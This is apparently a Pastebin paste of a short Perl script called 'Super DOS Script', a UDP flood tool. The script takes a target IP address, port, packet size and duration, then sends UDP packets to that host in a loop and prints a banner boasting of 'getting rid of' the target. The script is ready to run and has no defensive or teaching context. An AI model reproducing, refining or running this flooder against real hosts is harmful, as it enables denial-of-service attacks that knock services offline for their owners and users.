Advertisement
SaintSec

[Perl] Super DOS Script

Aug 4th, 2016
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.39 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. # Superman<----
  5. ##
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18. print <<EOTEXT;
  19.  
  20.   ********                                  ******                       **  
  21.  **//////          ******                  /*////**                     /**  
  22. /**        **   **/**///**  *****  ******  /*   /**   ******   ******  ******
  23. /*********/**  /**/**  /** **///**//**//*  /******   **////** **////**///**/
  24. ////////**/**  /**/****** /******* /** /   /*//// **/**   /**/**   /**  /**  
  25.        /**/**  /**/**///  /**////  /**     /*    /**/**   /**/**   /**  /**  
  26.  ******** //******/**     //******/***     /******* //****** //******   //**
  27. ////////   ////// //       ////// ///      ///////   //////   //////     //  
  28.  
  29. EOTEXT
  30.  
  31. print "~Getting Rid Of~ $ip " . ($port ? $port : "random") . " By Smashing with " .
  32.   ($size ? "$size-byte" : "Offline") . " Packets " .
  33.   ($time ? "for $time seconds" : "") . "\n";
  34. print "Break with Ctrl-C\n" unless $time;
  35.  
  36. for (;time() <= $endtime;) {
  37.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  38.   $pport = $port ? $port : int(rand(65500))+1;
  39.  
  40.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement